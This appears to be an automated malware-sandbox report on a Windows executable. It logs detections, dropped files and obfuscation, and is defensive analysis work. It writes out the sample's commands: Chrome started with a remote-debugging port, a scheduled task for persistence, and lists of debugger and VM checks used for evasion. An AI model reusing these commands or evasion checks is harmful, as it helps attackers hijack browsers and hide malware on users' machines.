Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.1807697257.0000369C006D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: QDQXUZhiY3.exe Virustotal: Detection: 68%
Source: QDQXUZhiY3.exe ReversingLabs: Detection: 60%
Source: unknown Process created: C:\Users\user\Desktop\QDQXUZhiY3.exe "C:\Users\user\Desktop\QDQXUZhiY3.exe"
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2364,i,2043666830668904066,2319298136264217903,262144 /prefetch:8
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7872 -s 1400
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\/service123.exe"
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2364,i,2043666830668904066,2319298136264217903,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cahnbeclrgcbxnsvhjfx.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cahnbeclrgcbxnsvhjfx.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cahnbeclrgcbxnsvhjfx.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cahnbeclrgcbxnsvhjfx.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cahnbeclrgcbxnsvhjfx.dll Jump to behavior
Source: QDQXUZhiY3.exe Static file information: File size 4513280 > 1048576
Source: QDQXUZhiY3.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x28a000
Source: QDQXUZhiY3.exe Static PE information: Raw size of dymycfjg is bigger than: 0x100000 < 0x1c0200
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002A8230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_002A8230
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: QDQXUZhiY3.exe Static PE information: real checksum: 0x44e3cc should be: 0x45272d
PE file contains sections with non-standard names
Source: QDQXUZhiY3.exe Static PE information: section name:
Source: QDQXUZhiY3.exe Static PE information: section name: .idata
Source: QDQXUZhiY3.exe Static PE information: section name:
Source: QDQXUZhiY3.exe Static PE information: section name: dymycfjg
Source: QDQXUZhiY3.exe Static PE information: section name: vjqnadcd
Source: QDQXUZhiY3.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: CaHNbeclRGcBxNSvHjFX.dll.0.dr Static PE information: section name: .eh_fram
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_002AA521 push es; iretd 8_2_002AA694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D08ED10 push eax; mov dword ptr [esp], ebx 8_2_6D08EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0C0C30 push eax; mov dword ptr [esp], edi 8_2_6D0C0DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D064E31 push eax; mov dword ptr [esp], ebx 8_2_6D064E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D058E7A push edx; mov dword ptr [esp], ebx 8_2_6D058E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05A947 push eax; mov dword ptr [esp], ebx 8_2_6D05A95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D092BF0 push eax; mov dword ptr [esp], ebx 8_2_6D092F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D092BF0 push edx; mov dword ptr [esp], ebx 8_2_6D092F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D060AA2 push eax; mov dword ptr [esp], ebx 8_2_6D060AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D078AA0 push eax; mov dword ptr [esp], ebx 8_2_6D07909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D062AAC push edx; mov dword ptr [esp], ebx 8_2_6D062AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D08EAB0 push eax; mov dword ptr [esp], ebx 8_2_6D08EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D031CFA push eax; mov dword ptr [esp], ebx 8_2_6D0E6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D031CFA push eax; mov dword ptr [esp], ebx 8_2_6D0E6622
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05A5A7 push eax; mov dword ptr [esp], ebx 8_2_6D05A5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D058435 push edx; mov dword ptr [esp], ebx 8_2_6D058449
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D078460 push eax; mov dword ptr [esp], ebx 8_2_6D078A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05048B push eax; mov dword ptr [esp], ebx 8_2_6D0504A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0504E0 push eax; mov dword ptr [esp], ebx 8_2_6D0506DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05070E push eax; mov dword ptr [esp], ebx 8_2_6D0506DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D05A777 push eax; mov dword ptr [esp], ebx 8_2_6D05A78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D092620 push eax; mov dword ptr [esp], ebx 8_2_6D092954
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D092620 push edx; mov dword ptr [esp], ebx 8_2_6D092973
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0506A6 push eax; mov dword ptr [esp], ebx 8_2_6D0506DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0506A2 push eax; mov dword ptr [esp], ebx 8_2_6D0506DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0686A1 push 890005EAh; ret 8_2_6D0686A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0A06B0 push eax; mov dword ptr [esp], ebx 8_2_6D0A0A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0566F3 push edx; mov dword ptr [esp], ebx 8_2_6D056707
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0506FD push eax; mov dword ptr [esp], ebx 8_2_6D0506DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0501CE push eax; mov dword ptr [esp], ebx 8_2_6D050204
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6D0501D4 push eax; mov dword ptr [esp], ebx 8_2_6D050204
Source: QDQXUZhiY3.exe Static PE information: section name: dymycfjg entropy: 7.955965575111615
Drops PE files
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File created: C:\Users\user\AppData\Local\Temp\CaHNbeclRGcBxNSvHjFX.dll Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: QDQXUZhiY3.exe, 00000000.00000003.1372791120.0000000007C8F000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1425B9C second address: 1425BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F63F87E3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2C54 second address: 15A2C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2C5A second address: 15A2C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2ED7 second address: 15A2EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2EDB second address: 15A2EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E3382h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2EF3 second address: 15A2EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A2EFB second address: 15A2F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c jmp 00007F63F87E3385h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A3043 second address: 15A3047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A3047 second address: 15A304D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A304D second address: 15A3070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F63F87E545Fh 0x0000000f jc 00007F63F87E5456h 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A3070 second address: 15A307B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F63F87E3376h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A307B second address: 15A3095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E5465h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A3201 second address: 15A3205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A332A second address: 15A3338 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F63F87E545Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15A3338 second address: 15A333C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
